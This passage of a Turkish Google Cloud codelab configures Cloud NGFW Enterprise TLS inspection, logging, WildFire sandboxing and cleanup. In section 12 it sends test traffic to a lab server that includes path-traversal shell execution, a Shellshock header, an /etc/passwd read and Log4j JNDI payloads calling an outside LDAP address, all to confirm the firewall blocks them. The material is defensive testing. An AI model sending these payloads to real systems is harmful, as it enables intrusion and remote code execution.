Sunucu sertifikanız kök CA kullanılarak imzalandığından yukarıdaki komutlar, kök CA sertifikanızı güvenilir sertifika deposunun bir parçası olarak ekledi. Bu, güvenlik duvarının, kök CA'nız tarafından imzalanmış tüm sertifikalara güveneceği anlamına gelir. TLS politikanızda excludePublicCaSet değeri false olarak ayarlanmışsa herkese açık CA'lar da buna dahildir.
Güven yapılandırmasının içeriğini kontrol edin.
cat trust_config.yaml
Örnek çıkış:
Sertifikanın girinti hizalamasına çok dikkat edin. Bu biçime tam olarak uymalıdır.
name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
-----BEGIN CERTIFICATE-----
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRS
-----END CERTIFICATE-----
Güven yapılandırmasını içe aktarın:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
TLS politikası YAML dosyasını, güven yapılandırmasını içerecek şekilde güncelleyin:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
Güncellenen TLS politikasını içe aktarın:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. Doğu/Batı TLS denetimi doğrulanıyor
Güncellenmiş güven yapılandırmasıyla doğu-batı trafiğini test etmek için istemciye tekrar SSH ile bağlanın:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Sunucuya örnek TLS isteğini çalıştırın:
curl https://$target_privateip --max-time 2
Aşağıdaki çıkışı almaya devam ederseniz lütfen güncellemelerin yayılmasını bekleyin.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Beklenen çıktı:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
Sunucuya kötü amaçlı test trafiği gönderme:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Beklenen çıktı:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Aşağıdaki beklenen çıkışa göre yanıt alınmaz. Bu da örnek saldırıların artık doğu/batı için engellendiğini doğrular.
13. Günlük Kaydı
Cloud Console'da Logging > Günlük Gezgini'ne gidin, aşağıdaki filtreyi girin ve günlükleri sorgulayın. [PROJECT_ID] ifadesini kendi project_id değerinizle değiştirin:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Cloud NGFW Enterprise günlük girişleri aşağıdakine benzer şekilde görünmelidir:

Günlük girişlerini genişletin ve istemci sanal makinesinden sunucuya gönderilen saldırıların tanımlandığını ve engellendiğini (aşağıdaki ekran görüntüsünde gösterildiği gibi Apache Log4j Uzaktan Kod Yürütme Güvenlik Açığı) unutmayın.

Kötü amaçlı istekleri engellemek için TLS denetimi ile Cloud NGFW Enterprise'ı başarıyla dağıttınız.
İsteğe bağlı olarak Gelişmiş kötü amaçlı yazılım korumalı alanı (WildFire) özelliğini yapılandırmak ve doğrulamak için sonraki bölüme geçin veya Temizleme adımları'na atlayın.
14. [İsteğe bağlı] Gelişmiş Kötü Amaçlı Yazılım Korumalı Alanı'nı (WildFire) yapılandırma
Gelişmiş kötü amaçlı yazılım korumalı alanı (WildFire), aktarım halindeki dosyaları inceleyerek ve bilinmeyen dosyaları derin davranış analizi için bulut tabanlı bir korumalı alana (Palo Alto Networks Advanced WildFire tarafından desteklenir) göndererek Cloud NGFW Enterprise tehdit önleme özelliğini genişletir.
Gelişmiş Kötü Amaçlı Yazılım Korumalı Alanı Son Kullanıcı Lisans Sözleşmesi'ni kabul etme
Bir güvenlik duvarı uç noktasında Gelişmiş kötü amaçlı yazılım korumalı alanını etkinleştirmeden önce faturalandırma projenizdeki ($billing_project) tek seferlik Son Kullanıcı Lisans Sözleşmesi'ni (EULA) inceleyip kabul etmeniz gerekir. EULA yalnızca Google Cloud Console'da kabul edilebilir: Ağ Güvenliği > Güvenlik duvarı uç noktaları'na gidin, $prefix-$zone uç noktasını düzenleyin, Gelişmiş yapılandırma bölümünde Gelişmiş kötü amaçlı yazılım korumalı alanını (WildFire) etkinleştir'i seçin ve Kabul et ve devam et'i tıklayın.
Güvenlik Duvarı Uç Noktasında Gelişmiş Kötü Amaçlı Yazılım Korumalı Alanı'nı etkinleştirme
gcloud network-security firewall-endpoints update kullanarak mevcut $prefix-$zone güvenlik duvarı uç noktasında Gelişmiş kötü amaçlı yazılım korumalı alanını etkinleştirin:
gcloud network-security firewall-endpoints update $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project \ --enable-wildfire \ --no-async
Güvenlik duvarı uç noktasında Gelişmiş kötü amaçlı yazılım korumalı alanının etkinleştirildiğini doğrulayın:
gcloud network-security firewall-endpoints describe $prefix-$zone \ --organization $org_id \ --zone $zone
Beklenen çıkış (wildfireSettings: enabled: true ve state: ACTIVE değerlerini doğrulayın):
associatedNetworks: - projects/$project_number/global/networks/$prefix-vpc associations: - name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_number/global/networks/$prefix-vpc billingProjectId: $billing_project createTime: '2023-11-16T04:27:17.677731831Z' endpointSettings: contentCloudRegion: US_CENTRAL name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T05:15:12.104829104Z' wildfireSettings: enabled: true wildfireRegion: UNITED_STATES
WILDFIRE_ANALYSIS Güvenlik Profilini Oluşturma ve Yapılandırma
$prefix-sp-wildfire adlı bir gelişmiş kötü amaçlı yazılım korumalı alanı (WILDFIRE_ANALYSIS) güvenlik profili oluşturun:
gcloud network-security security-profiles wildfire-analysis \ create $prefix-sp-wildfire \ --organization $org_id \ --location=global
Beklenen çıktı:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.
Ardından, hem yükleme hem de indirme yönlerinde (--direction=BOTH) APK dosyalarını göndermek için eşzamansız bir gönderme kuralı ekleyin:
gcloud network-security security-profiles wildfire-analysis \ add-submission-rule $prefix-sp-wildfire \ --organization $org_id \ --location=global \ --file-types=APK \ --direction=BOTH
Beklenen çıktı:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.
Yapılandırılmış WILDFIRE_ANALYSIS güvenlik profilini inceleyin:
gcloud network-security security-profiles wildfire-analysis \ describe $prefix-sp-wildfire \ --organization $org_id \ --location=global
Beklenen çıktı:
createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
wildfireInlineMlSetting: {}
wildfireSubmissionRules:
- customFileTypes:
fileTypes:
- APK
direction: BOTH
fileSelectionMode: CUSTOM_FILE_TYPES
Güvenlik Profili Grubu'nu güncelleme ($prefix-spg)
$prefix-sp-wildfire eklemek için $prefix-spg uygulamasını güncelleyin:
gcloud network-security security-profile-groups update $prefix-spg \ --organization $org_id \ --location=global \ --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
Beklenen çıktı:
Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.
Güvenlik duvarı politika kuralı 900 (--action=apply_security_profile_group ve --tls-inspect ile tcp:443 üzerinden EGRESS) zaten $prefix-spg kuralını referans aldığından $prefix-$zone-client tarafından başlatılan şifrelenmiş HTTPS dosya indirme işlemleri, TLS denetimi tarafından otomatik olarak şifre çözme işlemine tabi tutulur ve güvenlik duvarı politika kuralında herhangi bir değişiklik yapılmasına gerek kalmadan Gelişmiş Kötü Amaçlı Yazılım Korumalı Alanı tarafından değerlendirilir.
15. [İsteğe bağlı] Gelişmiş Kötü Amaçlı Yazılım Korumalı Alanı Dosya Gönderimi ve Adli Bilişim'i doğrulama
Eşzamansız Korumalı Alan Gönderimi ve Dosya Türü Filtreleme'yi test etme
Identity-Aware Proxy (IAP) üzerinden istemci sanal makinesine ($prefix-$zone-client) bağlanın:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
İstemci sanal makinesinden, Palo Alto Networks herkese açık test APK dosyasını HTTPS üzerinden indirin:
curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15
Ardından, Palo Alto Networks herkese açık test ELF dosyasını HTTPS üzerinden indirin:
curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15
$prefix-sp-wildfire içindeki gönderim kuralımız yalnızca APK dosyalarını (--file-types=APK) hedeflediğinden güvenlik duvarı, ELF dosyasını Gelişmiş Kötü Amaçlı Yazılım Koruması Korumalı Alanı'na göndermez.
İstemci sanal makine terminalinden çıkıp Cloud Shell'e dönün.
Cloud Logging'de WildfireSubmissionLog'i doğrulama
Cloud Console'da Logging > Günlük Gezgini'ne gidin, aşağıdaki filtreyi girin ve günlükleri sorgulayın. [PROJECT_ID] ifadesini kendi project_id değerinizle değiştirin:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"
Korumalı alan analizi tamamlandıktan sonra (genellikle birkaç dakika içinde), APK dosya indirme işlemi için bir WildfireSubmissionLog girişi görünür, ancak ELF dosya indirme işlemi için hiçbir gönderim günlüğü oluşturulmaz (birkaç dakika sonra günlük girişi görünmezse 15 dakikalık güvenlik profili grubu yayılma penceresinin tamamlanmasını bekleyin ve curl indirme işlemini yeniden çalıştırın). Günlük girişini genişletin ve JSON yükünün aşağıdakine benzer olduğunu göreceksiniz:
{
"insertId": "3xim62fg6n786",
"jsonPayload": {
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
"action": "ALLOW",
"connection": {
"clientIp": "10.0.0.2",
"clientPort": 37142,
"protocol": "tcp",
"serverIp": "104.199.115.54",
"serverPort": 443
},
"interceptInstance": {
"projectId": "$project_id",
"vm": "ngfw-enterprise-$zone-client"
},
"interceptVpc": {
"projectId": "$project_id",
"vpc": "ngfw-enterprise-vpc"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "ngfw-enterprise-spg"
},
"wildfireDetails": {
"detectionTime": "2026-10-16T20:29:44Z",
"direction": "SERVER_TO_CLIENT",
"file": "wildfire-test-apk-file.apk",
"fileType": "APK",
"hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"repeatCount": 1,
"reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"severity": "[SEVERITY]",
"subtype": "WILDFIRE",
"verdict": "[VERDICT]"
}
},
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
"receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
"resource": {
"labels": {
"id": "ngfw-enterprise-$zone",
"location": "$zone",
"resource_container": "organizations/$org_id"
},
"type": "networksecurity.googleapis.com/FirewallEndpoint"
},
"timestamp": "2026-10-16T20:29:57.880438600Z"
}
wildfireDetails tablosundaki önemli alanlara dikkat edin:
fileType: "APK"vesubtype: "WILDFIRE",APKaktarımının eşzamansız korumalı alan analizini onaylar.file, sunucu (wildfire-test-apk-file.apk) tarafından sağlanan dosya adıdır vecurl -oile kullanılan yerel dosya adından farklı olabilir.hash, test örneğinin benzersiz SHA-256 özetini tanımlar.verdictveseverity, korumalı alan analiziyle belirlenir.reportUrivesampleUri, dinamik analiz raporunu ve gönderilen örneği almak için doğrudan bağlantılar sağlar.
Gönderimi Görüntüleme ve Adli Yapıları İndirme
Cloud Console'da Network Security (Ağ Güvenliği) > NGFW Enterprise logs (NGFW Enterprise günlükleri) > Advanced malware sandbox submissions (Gelişmiş kötü amaçlı yazılım korumalı alan gönderimleri) bölümüne gidin ve projenizi seçin. Dosya SHA-256 karması, karar ve güvenlik duvarı uç noktası dahil olmak üzere gönderim ayrıntılarını görüntülemek için wildfire-test-apk-file.apk girişini tıklayın. Gönderim için Diğer işlemler'den, PDF dinamik analiz raporunu indirmek üzere Analiz raporunu indir'i veya gönderilen dosyayı indirmek için Kötü amaçlı yazılım örneğini indir'i seçebilirsiniz.
Alternatif olarak, WildfireSubmissionLog girişindeki reportUri ve sampleUri değerlerini kullanarak analiz raporunu ve örneği Cloud Shell'den indirebilirsiniz:
export report_uri="<REPORT_URI_FROM_LOG>" export sample_uri="<SAMPLE_URI_FROM_LOG>" curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$report_uri" -o wildfire-report.pdf curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$sample_uri" -o wildfire-sample.bin
16. Temizleme adımları
Temel Kurulum Temizliği
Örnekleri kaldırın:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
tagAdmin ve tagUsers rolleri değiştirildiyse aşağıdaki adımları uygulayın:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Etiket anahtarını ve değerlerini kaldırma:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Cloud Firewall ağ politikasını ve ilişkilendirmeyi kaldırın:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Cloud Router ve Cloud NAT'ı silin:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Ayrılmış IP adreslerini silin:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Cloud Firewall SPG, İlişkilendirme ve TLS Temizliği
Güvenlik Profili Grubu'nu ve Güvenlik Profilleri'ni bu sırayla silin (isteğe bağlı Gelişmiş kötü amaçlı yazılım korumalı alanı bölümünü tamamladıysanız $prefix-spg silindikten sonra $prefix-sp-wildfire öğesini silme komutunu da çalıştırın):
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles wildfire-analysis \ delete $prefix-sp-wildfire \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Cloud Firewall uç nokta ilişkilendirmesini silin:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Cloud Firewall uç noktasını silin. Bu işlem yaklaşık 20 dakika sürebilir:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
İsteğe bağlı olarak, aşağıdaki komutu çalıştırarak Cloud NGFW uç noktasının silindiğini onaylayın:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Uç noktanın durumu şu şekilde görünmelidir:
STATE: DELETING
İşlem tamamlandığında uç nokta artık listelenmez.
TLS politikasını ve güven yapılandırmasını şu sırayla silin:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
Kök CA'yı ve CA havuzunu devre dışı bırakıp silin:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Alt ağ ve VPC temizliği
Son olarak alt ağı ve VPC ağını silin:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
17. Tebrikler!
Tebrikler, Doğu-Batı ve Kuzey Yönlü TLS Denetimi için Cloud NGFW Enterprise codelab'ini başarıyla tamamladınız.